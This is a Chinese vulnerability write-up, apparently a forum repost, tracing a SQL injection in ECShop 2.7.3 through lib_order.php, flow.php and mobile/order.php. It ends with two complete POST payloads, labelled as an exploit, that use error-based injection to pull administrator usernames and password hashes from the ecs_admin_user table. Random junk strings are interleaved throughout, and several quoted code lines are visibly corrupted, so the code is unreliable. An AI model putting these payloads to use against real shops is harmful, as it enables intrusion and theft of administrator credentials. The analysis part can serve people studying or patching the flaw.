前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。$ i) a, P! v8 F$ ~
8 I+ ?1 j7 P3 |$ E
漏洞关键文件:3 ?* ~) @; A' k e
# @: I7 W7 r) w5 m: M1 b4 @; |9 K
/includes/lib_order.php
8 b+ v" m5 f0 O9 M$ D7 D$ Q/ E i% @4 _$ c3 b, u( e2 G
关键函数:% }2 @2 t5 c9 S0 P- |
, q& O- n/ [. N* W$ U' t8 K7 L
3 n4 D" T' X8 N7 c2 H2 C6 u8 k, X
+ t) S0 N1 y3 x2 G01 function available_shipping_list($region_id_list)
- ^" f- |8 i1 j4 M8 Q( i! q
4 I3 e5 h% B8 T4 u, d02 {
+ P, S0 K7 @% e) M ?/ ]) ?# ?0 F* W5 f u1 w
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 4 s* O) a, |" D
6 t9 R- Z6 F$ z4 L) D" } L
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
1 Z5 L( W n& K( X u/ o6 P2 a# }
7 I. p8 A- n9 T2 S05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
; U+ D, r0 h' C& U+ j
0 g0 c1 _5 Z# w# ]+ G5 r; R! a3 t! h06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
2 g" J5 U" @% C. r2 d# c5 G: c( d* t
4 G& a& n4 C4 ?5 P07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
9 M' ]8 P7 Q( r) {6 S5 [5 g9 U7 V; X; z* y
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
3 C1 @" O/ H- L# ^, F" t! L
0 u( N3 Y8 k+ p9 y! @6 a09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
( _) B5 T% ~+ A: z, l- A: u0 r& d9 ^$ X5 ~
10 9 x; q r" h8 B
$ g: C8 W5 J9 K5 [, R
11 return $GLOBALS['db']->getAll($sql); 1 G$ F" H) s C- n% X9 A
- d+ t, N* r- E12 }
, t0 o0 `8 A, X3 n- l
! i4 i9 e) R6 u a8 I9 D显然对传入的参数没有任何过滤就带入了查询语句。% ?* B/ n' H, }2 `3 X: y1 s
9 s. p$ m! z' o下面我们追踪这个函数在flow.php中:$ E& I8 P* m& } z: a7 [
第531行: % u6 {4 y3 K2 y* j
. W7 M# J' r6 x- v+ ?. F/ g
1 $shipping_list = available_shipping_list($region);
1 f, u8 l0 ?0 s% P
/ r( R- Z2 y) \ 1 D% b/ W2 D6 F4 s3 f- @6 e Z
, R: T1 @% E# A* C
" Z% v; G' _! c, s% x7 h( Q2 N4 P- x
再对传入变量进行追踪:- o7 c i, @/ T) N2 T% g6 C/ p
# \: ? q+ E% o) ]& X9 C; m6 x第530行: 8 e: E- Y0 v; r+ }
; j9 d% Z7 H; |5 F9 |
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
0 J7 r3 o" Y$ _9 {6 q: `, I( x% g" ]3 ~. l# x- k1 W
2 t. l3 r1 m5 g* P: t9 {
5 d% T2 b, C% L/ W% {# u8 T1 C- Z
2 A" F* {1 W/ b) `6 w% g8 k7 b8 m$ m, b
第473行:
7 L% o# r' @- l: A2 f, A, {9 q' V$ V4 J4 Y
1 $consignee = get_consignee($_SESSION['user_id']); ; G7 r; s% d. B3 e2 w1 y O
" Y1 p5 C8 Y9 D$ W
到了一个关键函数:# P6 u: Y' v; D
& o- }4 y' S7 R/includes/lib_order.php
D9 l) ^6 P0 @: k$ Z" j5 h/ T F& A1 u4 q" {
+ @8 o' l* g. E* [
1 K/ K) u4 r0 z- c! f* z* o
# _, i8 X: ^ w$ Q! t* p) j: S# p6 d
01 function get_consignee($user_id) & y9 B* T% w0 ?! g$ Y& o3 u4 H9 t( z
* `: K2 ^& ?) W7 H$ Y8 ]# f5 c% F$ _02 {
1 v) o3 W, g* ?; q
8 x" g7 k, K1 g# Q4 o" V7 b- I) Q03 if (isset($_SESSION['flow_consignee'])) - `5 }8 p' b4 I
2 c( R/ b' ^7 Z! k, b. k& z9 }5 @04 {
# B& G, o2 B: z+ Y+ o
+ i! p [1 G6 @5 O05 /* 如果存在session,则直接返回session中的收货人信息 */ 9 L4 d0 s# z5 d7 [: [
3 s& y) |% ~) D1 s! Z; q
06 - x( C( X$ d, h' h1 H
/ ~ c( x3 H" R! f$ q2 f
07 return $_SESSION['flow_consignee'];
, p( X. s4 _; A7 F' p$ A& D; B- Q! c$ {# h' e
08 }
; u2 x& Z3 H- l! o- c- _: [4 T T- K6 k8 s, k
09 else . T( |5 w+ R5 h1 m6 ]
5 `; y+ {& @7 B; ?' B2 Y
10 {
' d% ]8 L% h1 C9 f
, t0 W" l! ~6 H/ y+ X, y d11 /* 如果不存在,则取得用户的默认收货人信息 */
7 [6 V+ h% {2 t& h6 o
4 T: Z, B, S# M$ s+ |9 i12 $arr = array();
! H) w8 n* `4 r; ?$ {3 R
: _. V" q7 D5 U' j13
# B7 o& O* R+ @7 w6 I7 V2 Z$ y M$ {: E# w6 s5 k3 d6 n+ i
14 if ($user_id > 0) * K. S4 `; I1 l) H1 e$ |
3 [0 z/ h& V1 o
15 { 1 c( m2 o- P% P; {9 j
; Z* @- e1 r' o$ a8 m0 o1 w+ n
16 /* 取默认地址 */ - t6 p* N- g8 L/ e# I
, A e4 z' E8 \+ }$ ]% ?- O
17 $sql = "SELECT ua.*".
' w2 u; o. S$ l Q8 {
% q3 m+ T2 U, ^" J18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! Y M! X0 y/ e& O" F1 x, k6 |0 C% C6 V
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
' f4 T% N3 M1 E1 V. B; ?# ^ d# [- i1 k, p3 ^
20
2 d, S% N, k6 S/ Z! }1 L y& g7 F. b$ D# ~- Q$ `% T4 `
21 $arr = $GLOBALS['db']->getRow($sql);
5 R# L& }7 q* G8 j
% N& d# c3 ^! P1 ~22 } & @( K5 e" q$ O' m4 X2 O
8 K# _( C' {9 S: Q- p, [23 ! ~" D8 q5 O; `# D0 d4 a6 [" r
, a* S" U7 \, H24 return $arr;
' w5 Y8 D* @: f2 Q7 c" T
, o. Y" t1 l* `( E1 S" T25 }
; M9 n6 v' _ C* P6 S5 O3 Q; A- ~) x
26 }
, K* ^6 C) m0 ]: @' w) Z8 m" E. }- R7 n5 K; E/ z% H
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
7 C- a" s1 O7 C/ a/ r7 [, v) X
, z* H- q4 F& j
2 k3 E( V& `/ o& M8 X" Z. t
u- f# R$ `& u" P: V关键点:
% m5 z! Z d A0 y: n6 y8 r; m- Q+ ^; C3 ?& t4 B
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
& {% l* I" O1 q4 g' }8 f
- V5 S, R0 W8 x; z5 Y2 E; d这里对传入参数反转义存入$_SESSION中。
7 a L8 j( d0 o. B3 I1 B4 ]% r! ^5 |' }/ O/ F: h8 Y
6 J# l. Z4 Q1 C( H) C- Q5 P: W4 t& L/ N2 N% m: |& u7 q
然后看下:' O6 P. r4 a# T U8 w% e h+ h. O
; O& A. P; Z. f7 b
) J! `/ ^( L a. D& \2 n
+ W1 w7 k/ _ L P0 h( v/ g
/ G* Q* q. |( _6 [5 I M& L
4 F, X9 r* f3 M( d
01 $consignee = array( ; G! j6 i$ n3 e
& y" B) v8 N, Z+ ~' J5 {$ x U" O E
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), % C4 E3 `$ R& z3 O. O- H
4 o+ C% D: Z4 l. u
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
w. _' y2 S- m+ h. o9 M3 Y- b; b
04 'country' => empty($_POST['country']) ? '' _POST['country'],
1 j* ~% F. r, S5 @2 s4 S1 h3 t
% x3 g1 @# G: N1 Z# U* _; u! g05 'province' => empty($_POST['province']) ? '' _POST['province'], " M+ j% }6 H. T, Y |
9 j5 O; X7 D L1 e8 \+ N- {06 'city' => empty($_POST['city']) ? '' _POST['city'], , |5 m, \. G$ h" Y5 B
/ @2 \5 J) N7 L: j
07 'district' => empty($_POST['district']) ? '' _POST['district'], N- s* Y: t2 I
4 ?( `3 e4 | U5 M0 x08 'email' => empty($_POST['email']) ? '' _POST['email'], 6 \6 M. k# @9 B# b# f& A8 y6 K
) \$ Q0 o* ?3 P9 a- A) \ k- O
09 'address' => empty($_POST['address']) ? '' _POST['address'], ( a# S4 }/ R% [! a0 s8 i7 ?& l
/ h/ M; F3 c" ~& q, O( }10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 3 ~7 \! g1 B0 ^1 u5 [7 z, W
& W& s5 a# W' J0 }( S( W0 h5 ~5 k11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 6 G( U. K! ^; N; v- p4 c
$ Y' E6 d: {; B4 M7 b
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), / M: p9 \' _: B1 @
: ^! F3 a( T" z5 q; F
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], / U; [% q$ j+ o" [% e5 [
: m! f% q! k; ]# _14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], & v, ~' o; j2 ?# D; P
; R$ b8 P, C- _# g/ j/ g/ ] o0 b15 );
& Y4 m6 p" L1 Z! k3 G5 g3 g: _
5 J- A" m2 v$ |好了注入就这样出现了。6 F! _ M+ h0 I5 L
$ q! n# v+ Z0 q& c==================' D: O/ G1 G+ }
& T# m. L: w& u Z/ X2 X7 X
注入测试:
$ N- n5 X4 V& X& d8 e
: a7 j9 ^( D+ V# R6 `$ L! I环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
: c4 u' n: F% |* f+ I. F0 C! D
. H( x; }' N' J1 a/ p测试程序:ECShop_V2.7.3_UTF8_release1106
, X$ F' y5 s$ v5 c( c8 A" O# `1 \; t. R, N) v7 G) w
' a( m6 Z3 O( a0 w! H5 T* V( `
* v, ^% k' u# m0 U& x/ w1.首先需要点击一个商品加入购物车& _* Q% ~# z: l( ?! g$ M
5 D6 y x8 `( k$ H% D
2.注册一个会员帐号) [7 R/ {$ D* G* H/ X2 z$ S
: N. Q# f5 U' N( b9 M3.post提交数据* G8 m, X) w7 A! t N# c
6 s' O8 ^6 T( t( s, U
) q$ K8 d( |8 M" O6 p6 ] B% q- U1 g# L- ^
1 http://127.0.0.1/ecshop/flow.php 8 x7 w' A! {- M3 h
4 G; \& @" Z4 S6 _
2
2 {2 C% Z7 |0 ~' u2 k) k6 G7 v8 Z) K: ]$ z- C! G8 w S, N
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= . C1 s! s' V, b" e2 y9 ]+ O6 A
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
) v3 K7 f! z! z6 l, K: N( P, H# J% M3 h
我们搜寻关键函数function available_shipping_list()
b7 I8 H) i9 P( ?) `' ]8 ~/ N0 a* k4 c" o# D# Z8 v
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
& i( M, Y& S: n& u) z% Z( z
- s0 L* X- G4 j% S( v5 H: u利用exp:
! Z, z8 k% O% o' C
6 x2 g4 w* _5 ~8 ^% \1.点击一个商品,点击购买商标$ X. R+ p. D7 |( o, C. H; _/ V
7 B; t7 L( ~( ]$ T. n& X+ J5 b2.登录会员帐号% f% ?1 f2 v' W0 W# r
Z9 V' W/ K" P* p- S# n
3.post提交:! v3 h U9 w8 M$ {
- Q- K1 ~/ R( w7 y* ^http://127.0.0.1/ecshop/mobile/order.php
' R; s+ I+ m, q$ J" X* @- M* N; F. ? X! R
6 ~+ k2 T9 Y6 a; J3 I6 p1 k6 F
, a! ^9 b: A# m
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=# x2 H, m, k: b' ^" z
0 l( l3 W2 @; g. x) w |